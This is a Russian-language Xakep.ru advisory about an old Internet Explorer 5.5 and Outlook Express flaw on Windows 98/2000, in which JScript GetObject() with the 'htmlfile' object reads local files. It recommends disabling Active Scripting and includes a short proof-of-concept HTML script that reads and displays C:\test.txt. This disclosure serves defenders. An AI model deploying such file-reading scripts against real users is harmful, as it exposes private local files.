Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал

Подвержены ошибке:
IE 5.5, Outlook Express,(вероятно Outlook 😉 - Win98/2000.

Описание:
Internet Explorer 5.5/Outlook Express/(вероятно Outlook,если Active Scripting разрешено) под Windows 98/2000 (предполагается, что все другие версии тоже подвержены ошибке) позволяют читать локальные файлы и UNC файлы удаленно.

Детали:
Проблема содержится в GetObject() JScript функции и в объекте "htmlfile" ActiveX.
Вызов a=GetObject("c:\\test.txt","htmlfile") создает html документ с полным доступом к этому файлу.

Решение проблемы: Запрещаем Active Scripting.

Вот html код:
------getobject1.html--------------------------------



<SCRIPT>
alert("Этот скрипт прочитает C:\\TEST.TXT\ Так что создай его");

a=GetObject("c:\\test.txt","htmlfile");

setTimeout("alert(a.body.innerText);",2000);

</SCRIPT>

-----------------------------------------------------

А вот реальная демонстрация

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии